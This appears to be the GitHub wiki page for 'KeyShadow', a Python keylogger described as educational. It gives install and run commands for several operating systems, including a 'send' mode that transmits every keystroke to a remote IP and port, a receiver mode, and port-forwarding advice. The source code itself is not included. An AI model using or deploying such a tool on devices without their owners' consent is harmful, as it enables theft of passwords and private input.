-
Notifications
You must be signed in to change notification settings - Fork 0
Home
An Educational, Open-Source, Cross-Platform Keylogger
_ __ _____ _ _
| |/ /___ _ _ / ___| |__ __ _| |_ ___ _ __
| ' // _ \ | | |\___ \| '_ \ / _` | __/ _ \| '__|
| . \ __/ |_| | ___) | | | | (_| | || (_) | |
|_|\_\___|\__, | |____/|_| |_|\__,_|\__\___/|_|
|___/
KeyShadow is for EDUCATIONAL and ETHICAL use only.
- π« Never use on devices you don't own or without clear, written permission!
- π Unauthorized use is illegal and unethical.
- π¨βπ» Authors and contributors assume NO responsibility for misuse.
- π Local logging to file (
local
mode) - π Network sending to another device (
send
mode) - π₯ Network receiving logs (
receive
mode) - βοΈ Customizable: IPs, ports, log file path via CLI
- π» Works on:
- Kali Linux, Ubuntu, Other Linux
- Windows 10/11
- macOS
- Termux (limited)
- π Python 3.7+ required
- π No API keys or cloud dependencies
- π Simple, plain-text log files
Platform | Supported? | Notes |
---|---|---|
π§ Kali Linux | β | Full support |
π§ Ubuntu | β | Full support |
π§ Other Linux | β | Full support |
πͺ Windows 10/11 | β | Full support (run in CMD or PowerShell) |
π macOS | β | Full support (Terminal; may need permissions) |
π± Termux | Only within Termux shell (no global key capture) |
Tip: On Windows/macOS, you may need to grant accessibility/input monitoring permissions for full keylogging.
# 1. Install Python 3 and pip if needed
sudo apt update
sudo apt install python3 python3-pip
# 2. Install pynput
pip3 install pynput
# 3. Download keyshadow.py and run in local mode
python3 keyshadow.py --mode local --logfile mylogs_linux.txt
# 4. To send logs to another PC
python3 keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080
# 5. To receive logs
python3 keyshadow.py --mode receive --listen-port 8080 --logfile received_linux.txt
:: 1. Install Python 3.7+ from https://www.python.org/downloads/windows/
:: 2. Open CMD or PowerShell and install pynput
pip install pynput
:: 3. Download keyshadow.py and run in local mode
python keyshadow.py --mode local --logfile mylogs_windows.txt
:: 4. To send logs to another PC
python keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080
:: 5. To receive logs
python keyshadow.py --mode receive --listen-port 8080 --logfile received_windows.txt
Note: On first run, Windows may prompt for input monitoring/antivirus consent.
# 1. Install Python 3.7+ from https://www.python.org/downloads/macos/
# 2. Install pynput
pip3 install pynput
# 3. Download keyshadow.py and run in local mode
python3 keyshadow.py --mode local --logfile mylogs_mac.txt
# 4. To send logs to another Mac/PC
python3 keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080
# 5. To receive logs
python3 keyshadow.py --mode receive --listen-port 8080 --logfile received_mac.txt
Note: On macOS, you must grant "Input Monitoring" permission in System Preferences > Security & Privacy.
# 1. Install Python in Termux
pkg install python
# 2. Install pynput (network required)
pip install pynput
# 3. Download keyshadow.py and run in local mode
python keyshadow.py --mode local --logfile mylogs_termux.txt
Limitation: Only keys entered in the Termux shell can be captured, not global Android input.
python3 keyshadow.py --mode local --logfile mylogs.txt
Logs all keypresses to mylogs.txt
.
Press ESC
to stop logging.
python3 keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080
Sends every keystroke to a receiver at <RECEIVER_IP>:8080
AND saves locally.
python3 keyshadow.py --mode receive --listen-port 8080 --logfile received.txt
Listens for logs on port 8080 and writes them to received.txt
.
PC 1 (Receiver):
python3 keyshadow.py --mode receive --listen-port 8080 --logfile logs_from_laptop.txt
PC 2 (Sender):
python3 keyshadow.py --mode send --remote-ip <PC1_IP> --remote-port 8080
- Both devices must be on the same local network.
- Use your PC's local IP (e.g.,
192.168.1.5
) for<PC1_IP>
.
-
Port Forwarding:
- Forward port 8080 on your router to the receiver's local IP.
-
Firewall:
- Allow inbound connections on port 8080.
-
Security:
- Exposes your device to the internetβuse with extreme caution and only for testing.
- Never use on devices/networks without explicit, legal permission.
- local: Records every keypress to a local file.
- send: Sends each keypress to a given IP:port, as well as logging locally.
- receive: Starts a simple TCP server to receive log entries and write them to a file.
- No encryption of logs or network data (for educational simplicity)
- No cloud or email integration
- Key capture limited by OS permissions
- Not intended for stealth or malicious use
- On Windows/macOS: May require running as Administrator or giving input monitoring permissions.
PRs and suggestions welcome for further educational features.
This software is provided βas isβ for ethical and educational use.
You are responsible for your actions.